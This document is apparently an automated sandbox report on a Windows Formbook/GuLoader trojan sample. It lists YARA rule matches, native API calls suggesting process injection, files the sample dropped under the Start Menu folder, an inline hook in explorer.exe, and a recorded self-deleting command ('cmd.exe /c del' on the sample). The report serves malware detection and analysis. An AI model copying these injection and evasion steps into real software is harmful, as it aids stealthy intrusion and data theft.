Source: 00000002.00000002.3386638868.00000000348F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.7902345093.00000000009B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.7902345093.00000000009B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.7902345093.00000000009B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.7932779071.000000000A3EB000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_772cc62d os = windows, severity = x86, creation_date = 2022-05-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8343b5d02d74791ba2d5d52d19a759f761de2b5470d935000bc27ea6c0633f5, id = 772cc62d-345c-42d8-97ab-f67e447ddca4, last_modified = 2022-07-18
Source: 00000008.00000002.7903855640.0000000002EC0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.7903855640.0000000002EC0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.7903855640.0000000002EC0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: sOjxIU25DP.exe PID: 8016, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: C:\Users\user\Desktop\sOjxIU25DP.exe

Code function: 0_2_00403461 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,LdrInitializeThunk,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,LdrInitializeThunk,ExitWindowsEx,ExitProcess,

0_2_00403461

Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 0_2_00406925	0_2_00406925
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 0_2_6F621A98	0_2_6F621A98
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C90445	2_2_34C90445
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D475C6	2_2_34D475C6
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D4F5C9	2_2_34D4F5C9
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D4A6C0	2_2_34D4A6C0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D4F6F6	2_2_34D4F6F6
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8C6E0	2_2_34C8C6E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D036EC	2_2_34D036EC
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C90680	2_2_34C90680
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D3D646	2_2_34D3D646
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB4670	2_2_34CB4670
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAC600	2_2_34CAC600
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D2D62C	2_2_34D2D62C
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D46757	2_2_34D46757
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C92760	2_2_34C92760
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C9A760	2_2_34C9A760
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C9B0D0	2_2_34C9B0D0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D470F1	2_2_34D470F1
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC508C	2_2_34CC508C
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C800A0	2_2_34C800A0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C951C0	2_2_34C951C0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAB1E0	2_2_34CAB1E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CD717A	2_2_34CD717A
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F113	2_2_34C7F113
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D5010E	2_2_34D5010E
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D2D130	2_2_34D2D130
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7D2EC	2_2_34C7D2EC
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D4124C	2_2_34D4124C
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C81380	2_2_34C81380
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C9E310	2_2_34C9E310
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D4F330	2_2_34D4F330
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA8CDF	2_2_34CA8CDF
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAFCE0	2_2_34CAFCE0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D29C98	2_2_34D29C98
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D3EC4C	2_2_34D3EC4C
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C93C60	2_2_34C93C60
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D4EC60	2_2_34D4EC60
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D46C69	2_2_34D46C69
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C80C12	2_2_34C80C12
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C9AC20	2_2_34C9AC20
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C99DD0	2_2_34C99DD0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D2FDF4	2_2_34D2FDF4
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA2DB0	2_2_34CA2DB0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D47D4C	2_2_34D47D4C
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C90D69	2_2_34C90D69
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8AD00	2_2_34C8AD00
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D4FD27	2_2_34D4FD27
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D49ED2	2_2_34D49ED2
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C82EE8	2_2_34C82EE8
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D40EAD	2_2_34D40EAD
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C91EB2	2_2_34C91EB2
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CD2E48	2_2_34CD2E48
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB0E50	2_2_34CB0E50
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D30E6D	2_2_34D30E6D
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D41FC6	2_2_34D41FC6
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C96FE0	2_2_34C96FE0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D4EFBF	2_2_34D4EFBF
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D4FF63	2_2_34D4FF63
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C9CF00	2_2_34C9CF00
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C928C0	2_2_34C928C0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D418DA	2_2_34D418DA
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D478F3	2_2_34D478F3
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA6882	2_2_34CA6882
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D4F872	2_2_34D4F872
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C76868	2_2_34C76868
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C99870	2_2_34C99870
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAB870	2_2_34CAB870
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C93800	2_2_34C93800
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBE810	2_2_34CBE810
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D30835	2_2_34D30835
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CD59C0	2_2_34CD59C0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8E9A0	2_2_34C8E9A0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D4E9A6	2_2_34D4E9A6
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D4FA89	2_2_34D4FA89
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D4EA5B	2_2_34D4EA5B
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D4CA13	2_2_34D4CA13

Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: String function: 34CFE692 appears 78 times
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: String function: 34C7B910 appears 221 times
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: String function: 34D0EF10 appears 103 times
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: String function: 34CD7BE4 appears 79 times

Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC2CF0 NtDelayExecution,LdrInitializeThunk,	2_2_34CC2CF0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC2C50 NtUnmapViewOfSection,LdrInitializeThunk,	2_2_34CC2C50
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC2C30 NtMapViewOfSection,LdrInitializeThunk,	2_2_34CC2C30
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC2DC0 NtAdjustPrivilegesToken,LdrInitializeThunk,	2_2_34CC2DC0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC2DA0 NtReadVirtualMemory,LdrInitializeThunk,	2_2_34CC2DA0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC2D10 NtQuerySystemInformation,LdrInitializeThunk,	2_2_34CC2D10
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC2ED0 NtResumeThread,LdrInitializeThunk,	2_2_34CC2ED0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC2EB0 NtProtectVirtualMemory,LdrInitializeThunk,	2_2_34CC2EB0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC2E50 NtCreateSection,LdrInitializeThunk,	2_2_34CC2E50
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC2F00 NtCreateFile,LdrInitializeThunk,	2_2_34CC2F00
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC29F0 NtReadFile,LdrInitializeThunk,	2_2_34CC29F0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC2A80 NtClose,LdrInitializeThunk,	2_2_34CC2A80
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC2BC0 NtQueryInformationToken,LdrInitializeThunk,	2_2_34CC2BC0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC2B90 NtFreeVirtualMemory,LdrInitializeThunk,	2_2_34CC2B90
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC2B10 NtAllocateVirtualMemory,LdrInitializeThunk,	2_2_34CC2B10
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC34E0 NtCreateMutant,	2_2_34CC34E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC4570 NtSuspendThread,	2_2_34CC4570
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC4260 NtSetContextThread,	2_2_34CC4260
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC2CD0 NtEnumerateKey,	2_2_34CC2CD0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC3C90 NtOpenThread,	2_2_34CC3C90
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC2C10 NtOpenProcess,	2_2_34CC2C10
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC2C20 NtSetInformationFile,	2_2_34CC2C20
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC3C30 NtOpenProcessToken,	2_2_34CC3C30
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC2D50 NtWriteVirtualMemory,	2_2_34CC2D50
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC2EC0 NtQuerySection,	2_2_34CC2EC0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC2E80 NtCreateProcessEx,	2_2_34CC2E80
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC2E00 NtQueueApcThread,	2_2_34CC2E00
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC2FB0 NtSetValueKey,	2_2_34CC2FB0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC2F30 NtOpenDirectoryObject,	2_2_34CC2F30
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC38D0 NtGetContextThread,	2_2_34CC38D0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC29D0 NtWaitForSingleObject,	2_2_34CC29D0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC2AC0 NtEnumerateValueKey,	2_2_34CC2AC0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC2AA0 NtQueryInformationFile,	2_2_34CC2AA0

Source: sOjxIU25DP.exe, 00000002.00000003.3223533422.0000000034A21000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs sOjxIU25DP.exe
Source: sOjxIU25DP.exe, 00000002.00000002.3373253954.00000000049E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesystray.exej% vs sOjxIU25DP.exe
Source: sOjxIU25DP.exe, 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs sOjxIU25DP.exe
Source: sOjxIU25DP.exe, 00000002.00000002.3309330755.00000000000D3000.00000040.10000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamesystray.exej% vs sOjxIU25DP.exe
Source: sOjxIU25DP.exe, 00000002.00000002.3388255379.0000000034F20000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs sOjxIU25DP.exe
Source: sOjxIU25DP.exe, 00000002.00000002.3373253954.00000000049F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesystray.exej% vs sOjxIU25DP.exe
Source: sOjxIU25DP.exe, 00000002.00000003.3228331822.0000000034BCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs sOjxIU25DP.exe

Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: edgegdi.dll	Jump to behavior

Source: sOjxIU25DP.exe

Static PE information: invalid certificate

Source: sOjxIU25DP.exe	Virustotal: Detection: 25%
Source: sOjxIU25DP.exe	ReversingLabs: Detection: 18%

Source: C:\Users\user\Desktop\sOjxIU25DP.exe

File read: C:\Users\user\Desktop\sOjxIU25DP.exe

Jump to behavior

Source: sOjxIU25DP.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\sOjxIU25DP.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\sOjxIU25DP.exe C:\Users\user\Desktop\sOjxIU25DP.exe
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Process created: C:\Users\user\Desktop\sOjxIU25DP.exe C:\Users\user\Desktop\sOjxIU25DP.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\autoconv.exe C:\Windows\SysWOW64\autoconv.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\autoconv.exe C:\Windows\SysWOW64\autoconv.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\autoconv.exe C:\Windows\SysWOW64\autoconv.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\systray.exe C:\Windows\SysWOW64\systray.exe
Source: C:\Windows\SysWOW64\systray.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\sOjxIU25DP.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Process created: C:\Users\user\Desktop\sOjxIU25DP.exe C:\Users\user\Desktop\sOjxIU25DP.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\autoconv.exe C:\Windows\SysWOW64\autoconv.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\autoconv.exe C:\Windows\SysWOW64\autoconv.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\autoconv.exe C:\Windows\SysWOW64\autoconv.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\systray.exe C:\Windows\SysWOW64\systray.exe	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\sOjxIU25DP.exe"	Jump to behavior

Source: C:\Users\user\Desktop\sOjxIU25DP.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\sOjxIU25DP.exe

0_2_00403461

Source: C:\Users\user\Desktop\sOjxIU25DP.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors

Jump to behavior

Source: C:\Users\user\Desktop\sOjxIU25DP.exe

File created: C:\Users\user\AppData\Local\Temp\nsxC1E9.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@261/5@22/13

Source: C:\Users\user\Desktop\sOjxIU25DP.exe

Code function: 0_2_0040216B CoCreateInstance,MultiByteToWideChar,

0_2_0040216B

Source: C:\Users\user\Desktop\sOjxIU25DP.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\sOjxIU25DP.exe

Code function: 0_2_0040473E GetDlgItem,SetWindowTextA,LdrInitializeThunk,LdrInitializeThunk,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_0040473E

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6080:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6080:120:WilError_03

Source: sOjxIU25DP.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: systray.pdb source: sOjxIU25DP.exe, 00000002.00000002.3309330755.00000000000D0000.00000040.10000000.00040000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000002.3373253954.00000000049E9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: systray.pdbGCTL source: sOjxIU25DP.exe, 00000002.00000002.3309330755.00000000000D0000.00000040.10000000.00040000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000002.3373253954.00000000049E9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mshtml.pdb source: sOjxIU25DP.exe, 00000002.00000001.3105168096.0000000000649000.00000008.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: sOjxIU25DP.exe, 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000003.3228331822.0000000034AA1000.00000004.00000020.00020000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000003.3223533422.00000000348FE000.00000004.00000020.00020000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: sOjxIU25DP.exe, sOjxIU25DP.exe, 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000003.3228331822.0000000034AA1000.00000004.00000020.00020000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000003.3223533422.00000000348FE000.00000004.00000020.00020000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: mshtml.pdbUGP source: sOjxIU25DP.exe, 00000002.00000001.3105168096.0000000000649000.00000008.00000001.01000000.00000005.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: Process Memory Space: sOjxIU25DP.exe PID: 9532, type: MEMORYSTR
Source: Yara match	File source: 00000000.00000002.3281238851.000000000597C000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 0_2_6F622F60 push eax; ret		0_2_6F622F8E
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C808CD push ecx; mov dword ptr [esp], ecx		2_2_34C808D6

Source: C:\Users\user\Desktop\sOjxIU25DP.exe

Code function: 0_2_6F621A98 LdrInitializeThunk,GlobalAlloc,LdrInitializeThunk,LdrInitializeThunk,lstrcpyA,lstrcpyA,GlobalFree,LdrInitializeThunk,GlobalFree,GlobalFree,GlobalFree,GlobalFree,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,GlobalFree,LdrInitializeThunk,LdrInitializeThunk,lstrcpyA,LdrInitializeThunk,LdrInitializeThunk,GetModuleHandleA,LdrInitializeThunk,LoadLibraryA,GetProcAddress,lstrlenA,

0_2_6F621A98

Source: C:\Users\user\Desktop\sOjxIU25DP.exe

File created: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\sOjxIU25DP.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors	Jump to behavior
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens	Jump to behavior
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens\Skvvinklet.Ove39	Jump to behavior
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens\affdende.smk	Jump to behavior
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens\kibbes	Jump to behavior
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens\kibbes\Chloramide	Jump to behavior
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens\kibbes\Chloramide\morgenfruernes.teg	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: user32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x8C 0xCE 0xEC

Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
